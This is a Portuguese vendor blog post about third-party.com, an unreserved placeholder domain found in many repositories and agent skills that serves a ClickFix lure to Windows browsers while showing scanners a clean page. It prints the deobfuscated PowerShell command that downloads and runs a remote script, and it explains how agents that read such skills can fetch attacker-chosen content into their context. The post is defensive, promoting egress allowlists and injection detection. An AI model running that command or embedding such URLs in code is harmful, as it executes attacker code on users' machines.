← Voltar para todas as publicações
Publicado em · por Renaud Deraison

A skill apontava para third-party.com, e third-party.com respondeu

A Manifold Security encontrou third-party.com, um placeholder de documentação presente em 1.500 arquivos espalhados por 1.700 repositórios, incluindo Chromium, Vercel e Brave, e dentro de skills públicas de agentes, servindo uma isca ClickFix desde junho. Alguém registrou o domínio em 1996. Ele entrega uma página limpa para tudo que pareça um scanner, e a única blocklist que o sinalizou desistiu dez dias depois. Um hostname é a única dependência para a qual nenhum lockfile tem uma linha, e o Bromure Agentic Coding responde a isso com a lista dos lugares que o workspace pode chamar.

Uma dependência que você audita tem versão, mantenedor e uma linha no lockfile. O hostname de uma URL de exemplo tem um dono e mais nada, e donos mudam de ideia.

Você pede ao agente para carregar um widget sob demanda. Ele abre uma skill que você instalou meses atrás, lê o trecho Liquid que a skill oferece como implementação de referência, e o src do trecho é https://third-party.com/widget.js.

Você lê aquilo como um espaço a preencher. O agente lê um hostname que resolve, um servidor que responde e um dono que decide qual será a resposta. Placeholder é uma convenção entre pessoas que escrevem documentação para outras pessoas. Não é uma propriedade da string.

O domínio em 1.700 repositórios

Em 23 de setembro, Ax Sharma e Cody Nash, da Manifold Security, publicaram uma análise de third-party.com, um domínio que a maioria dos desenvolvedores conhece como enchimento. The Hacker News cobriu o caso no dia seguinte. Desde pelo menos junho de 2026 o domínio serve uma isca ClickFix: a página coloca um comando na sua área de transferência e então pede que você o cole em algum lugar que o execute.

Uma frase da análise carrega toda a premissa: “Diferentemente de example[.]com, third-party[.]com não é reservado pela IANA. Qualquer um poderia registrá-lo, e alguém registrou.” Alguém o registrou em 1996 pela Network Solutions, e desde então ele mudou de mãos como qualquer outro domínio, com trinta anos de histórico limpo atrás de si.

Uma busca de código no GitHub retorna mais de 1.500 arquivos em mais de 1.700 repositórios. A Manifold cita Chromium, Sanity, Vercel, Brave e HackTricks entre eles. E third-party.com tem companhia: o The Hacker News conta mais treze placeholders não reservados que hoje servem scareware, falsos alertas de segurança e golpes de investimento, entre eles yourdomain.com, yoursite.com, myapp.com, acme.com, company.com e vendor.com, em centenas de milhares de arquivos no GitHub e centenas de skills de agentes.

Um navegador Windows recebe uma falsa página de verificação da Cloudflare. O JavaScript escreve na área de transferência por meio de um textarea oculto e de um evento copy sequestrado, e a página manda você apertar Win+R, depois Ctrl+V, depois Enter. Desofuscado, o conteúdo da área de transferência é:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm baixa um script por HTTPS, iex o executa em memória, e 2>$null engole os erros. A página acrescenta uma string-chamariz, “Security check, I'm not a robot, Verification ID” e alguns dígitos, para que a caixa Executar mostre algo parecido com o que a página pediu.

Ele entrega uma página limpa para tudo que verifica

A carga importa menos do que a seleção. O servidor escolhe quem a vê, requisição por requisição.

A Manifold, literalmente: “Consulte este domínio a partir de uma faixa de datacenter, de um crawler Linux, de qualquer coisa que não seja a vítima pretendida, e ele devolve uma página limpa.” Um Mac recebe uma recusa: “macOS is not supported. This website requires a Windows PC to access.” A isca dispara para o visitante para quem o operador a escreveu.

A blocklist do IPFire sinalizou o domínio em 7 de julho de 2026 e o retirou dez dias depois, em 17 de julho. Quem mantém aquela lista não conseguiu reproduzir a resposta maliciosa, porque o servidor não a serve para eles. Três meses depois, o domínio está no ar, ainda encoberto, e ainda presente em 1.700 repositórios.

Feeds de reputação não têm nada a carregar aqui, e não existe advisory ao qual se inscrever. Ninguém comprometeu este domínio. Alguém é dono dele.

Os portadores incluem as skills do seu agente

A Manifold foi procurar nos lugares que os agentes leem e encontrou a string em três skills públicas.

shopify-expert, em jeffallan/claude-skills (cerca de 11.000 estrelas), a usa num trecho Liquid de carregamento sob demanda de um widget de terceiros. alova-server-usage, em alovajs/skills, a usa num exemplo de gateway OAuth. E dynamic-dashboard-builder, da ClawHub, a usa dentro de um bloco rotulado “Wrong: Hardcoded endpoint, NEVER do this.”

Esse exemplo de advertência é uma URL viva. Três chamadas de ferramenta depois, quando o modelo escreve o código, ele precisa ter carregado o enquadramento de não-faça-isso junto com a string, e a string é idêntica nos dois casos.

Um hostname de documentação alcança a rede de três maneiras, e uma única sessão pode percorrer as três:

  • Ele o busca. Skills e documentações de servidores MCP são cheias de endpoints, e um agente que está verificando se um trecho funciona os resolve. O que volta chega ao contexto do modelo como saída de ferramenta comum.
  • Ele o escreve. O trecho aterrissa no seu código-fonte, o diff passa na revisão, e o atributo src que ninguém leu segue para os navegadores dos seus usuários. A Manifold documenta a isca disparando em navegadores Windows, que é o que boa parte desses usuários roda.
  • Ele lê instruções dele. O ClickFix se dirige a quem estiver lendo. A versão de hoje mira uma pessoa diante de um teclado Windows, e um agente Linux recebe a página de “não suportado”. O servidor já identifica seus chamadores e serve três respostas diferentes. Uma quarta resposta, para clientes que se pareçam com agentes, custa ao operador uma linha de configuração.
Uma string na documentação, e as quatro respostas1.500 arquivos, 1.700 reposREADME.mddocs de servidor MCPshopify-expert/SKILL.mddynamic-dashboard-buildera última o chama de "NEVER do this"o agente lê,depois resolvethird-party.comregistrado em 1996, não reservadoidentifica cada chamadoro dono escolhe a respostaum navegador Windowsfalsa verificação → área de transferênciaum Mac"macOS is not supported"um crawler, um datacenter, um scanneruma página limpa, toda vezo que a área de transferência guarda, desofuscadopowershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"a consequência para a reputaçãoIPFire sinalizou 7/7 · retirou 17/7e a razão pela qual nenhum dos seus controles atuais tem opiniãosem versão a fixar · sem mantenedor em quem confiar · sem linha no lockfile · sem SBOM · sem CVE · sem advisoryele só se torna real uma vez: quando algo abre uma conexão com ele
O mesmo hostname, quatro respostas diferentes. Alguém registrou third-party.com em 1996, e hoje ele aparece em mais de 1.500 arquivos: READMEs, documentações de servidores MCP e skills de agentes, incluindo uma que o usa como exemplo de não-faça-isso. O servidor escolhe a resposta a partir de quem perguntou. Um navegador Windows recebe a falsa página da Cloudflare e uma área de transferência cheia de PowerShell. Um Mac recebe uma recusa. Um scanner ou um crawler de datacenter recebe uma página limpa, e é por isso que o IPFire sinalizou o domínio em 7 de julho de 2026 e o retirou dez dias depois. Nenhum manifesto, lockfile ou SBOM tem uma linha para um hostname.

Um placeholder é uma dependência que ninguém declarou

O ferramental de supply chain trabalha com artefatos que têm identidade. Um pacote tem nome, versão, registro, data de publicação e mantenedor, então você pode fixá-lo, impor uma quarentena por idade, checar sua procedência e compará-lo com o da semana passada. Um hostname num comentário tem só uma dessas propriedades: um dono. Nenhuma ferramenta do seu pipeline o resolve, o registra ou avisa você quando ele muda de mãos. O controle que alcança um placeholder tem de incidir sobre conexões, e não sobre artefatos.

Dentro de um workspace Bromure

No Bromure Agentic Coding, o tráfego de saída de um workspace é uma tabela de regras ordenada. As regras casam de cima para baixo, a primeira que casa vence, e um controle segmentado Tráfego não correspondido define o padrão como Permitir ou Negar. Cada regra carrega uma ação, um protocolo (tcp, udp, web ou any), um host ou CIDR, portas e, para regras web, uma lista de métodos HTTP. Hostnames casam por sufixo, então example.com cobre o ápice e todos os subdomínios. A forma canônica é uma regra por linha, terminando em default allow ou default deny:

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

Um hostname que existe como convenção tipográfica não está nessa lista. Você escreveu a lista a partir dos lugares que o trabalho alcança, e strings de enchimento não aparecem nesse conjunto. O workspace nunca precisa aprender que third-party.com é hostil, o que ajuda, porque nenhum feed diz isso. Ele precisa enxergar uma coisa só: third-party.com não é github.com.

Seu Mac aplica o conjunto de regras duas vezes. O switch de rede virtual casa cada fluxo por IP de destino e por hostname capturado do DNS, em TCP e UDP, e o proxy do host casa de novo por nome de servidor TLS e, para regras web, por método HTTP individual. O switch desvia o tráfego das portas 80 e 443 da VM para dentro do proxy sem nenhuma variável de ambiente envolvida e sem nada que o convidado possa desativar. Edições de regras alcançam sessões em execução na hora, então você pode apertar um workspace sem reiniciar um agente no meio de uma tarefa.

O agente num laptoplê a skill, resolve a stringGET https://third-party.com/widget.jsnada fica entre o processo e o DNSa resposta cai na janela de contextoo que o dono escolheu servir para aquele chamadore o trecho mantém o hostname a caminho da revisãosem CVE, sem advisory, sem linha no lockfilee a blocklist devolveu o veredito lá em julhovocê descobre quando o navegador de um usuário descobrenão há registro de que o hostname tenha sido tocadoO agente num workspace Bromurelê a mesma skill, num convidado UbuntuGET https://third-party.com/widget.js:80 e :443 desviados para o proxy do hostcasada duas vezes, no Macswitch: IP de destino + host visto no DNSproxy: nome TLS + método HTTPnenhuma regra casa → default denye um falso levado fora do escopo devolve 451, VM pausadaSecurity Timeline, linha de Firewallthird-party.com:443 tcp — bloqueado
O mesmo arquivo de skill, duas máquinas. Num laptop, o agente resolve o placeholder porque nada fica entre ele e o DNS, a página buscada aterrissa no contexto do modelo, e o trecho entra no seu código-fonte com o hostname intacto. Num workspace Bromure, o host casa a conexão duas vezes, por IP de destino e hostname capturado do DNS no switch virtual e de novo por nome de servidor TLS no proxy, contra a lista dos lugares que o trabalho precisa alcançar. Tráfego não correspondido definido como Negar encerra ali, e a recusa vira uma linha de Firewall nomeando o hostname, que é como você encontra a string na sua própria saída antes que ela chegue aos navegadores dos seus usuários.

A linha de Firewall alcança o seu diff

Bloquear a conexão encerra a busca. Tirar a string do seu código-fonte exige a linha.

Cada veredito do firewall aterrissa na janela Security Timeline como uma entrada de Firewall (a linha de exemplo do próprio manual diz evil.example:443 tcp — blocked), numa única tabela cronológica ao lado de trocas de credenciais, decisões de supply chain, aplicações de guardrails e detecções de injeção de prompt, com cores e filtros.

Na primeira vez que qualquer coisa na sessão resolver um hostname que você não listou, aquele hostname está na sua tela com um carimbo de tempo e o workspace de onde veio. Você volta ao diff, acha o atributo src e o corrige antes que a branch seja mesclada. A saída de rede sozinha não alcança essa metade da história, porque no caso do “ele o escreve” é o navegador de outra pessoa que faz a requisição perigosa, semanas depois.

Mais dois controles ficam no caminho, e vale a pena ligar os dois.

Os detectores de injeção de prompt pontuam conteúdo não confiável a caminho do modelo, ou seja, conteúdo de arquivos, páginas web e saídas de ferramenta carregadas em blocos tool_result, com um classificador Prompt Guard local que roda no dispositivo e não envia nada para fora do Mac. Texto de ClickFix é uma instrução dirigida a quem quer que esteja lendo, que é exatamente o formato para o qual aquele classificador foi treinado. Ele roda no proxy do host, onde um agente dentro da VM não consegue desligá-lo, e você escolhe o que uma detecção faz: registrá-la, pausar e mostrar o texto sinalizado, ou recusar a requisição com um HTTP 451 que o modelo nunca vê.

A fronteira de rede cobre o caso em que uma documentação convence o agente a se autenticar no placeholder. Nenhum arquivo, variável de ambiente ou processo dentro da VM guarda uma chave de API, token OAuth, segredo AWS ou chave privada SSH reais. O convidado recebe um falso que preserva a estrutura, e o host troca pelo valor real apenas para o host para o qual aquela credencial foi emitida. O proxy varre os cabeçalhos e o corpo de cada requisição de saída em busca desses falsos com um autômato de Aho-Corasick. Um deles indo para onde não pertence recebe HTTP 451 sem um byte encaminhado, pausa a VM, escreve uma linha vermelha de Credential brokering e marca o workspace como comprometido, de modo que seu próximo lançamento oferece apagar o disco e a home dele mantendo seus tokens e configurações.

Reserve os seus placeholders

example.com, example.org, example.net e o TLD .example são reservados pela IANA, e ninguém pode comprá-los. third-party.com, acme.com e yourcompany.com são domínios comuns. Passe um grep nas suas skills, nas suas configurações MCP e nos seus READMEs atrás dos que ninguém reservou.

Escreva a lista de destinos uma vez

Um workspace precisa de um conjunto curto e estável de hosts: sua forja, seu registro, seu endpoint de modelo, sua API. Defina o tráfego não correspondido como Negar, e os hostnames em que ninguém pensou, placeholders inclusive, são tratados sem que ninguém precise nomeá-los.

Não coloque na allowlist só para calar um scanner

É a recomendação da própria Manifold. Adicione um domínio a uma allowlist para que uma checagem fique verde, e você prometeu confiar no dono dele para sempre, sem nunca tê-lo conhecido.

Leia as linhas de Firewall

Um hostname bloqueado que você não reconhece diz qual string o agente pegou, e aponta a parte do diff onde você vai encontrá-la.

Alguém comprou um domínio

Ninguém envenenou um registro, tomou uma conta de mantenedor, fez typosquatting de um pacote, subverteu um pipeline de CI ou enganou um modelo. Alguém comprou um domínio que estava à venda, do jeito que estava à venda desde 1996, e o apontou para um servidor web.

A indústria respondeu ao risco de supply chain dando aos artefatos identidades melhores: atestados de procedência, assinaturas sigstore, SBOMs, digests fixados. Esse trabalho é bom, e não toca nisto, porque a coisa presente em 1.700 repositórios é uma string, e não um artefato. Desenvolvedores a copiaram de um README para o seguinte durante anos, e ela existe como coisa real pela duração de uma resolução DNS e de uma conexão TCP.

Governe esse momento. Dê ao workspace uma lista dos lugares para onde o trabalho vai, aplique-a em algum lugar que o agente não alcance, e leia as linhas em busca de nomes que você não colocou lá. Um placeholder que não resolve volta a ser o pedaço inofensivo de tipografia que você imaginava que fosse.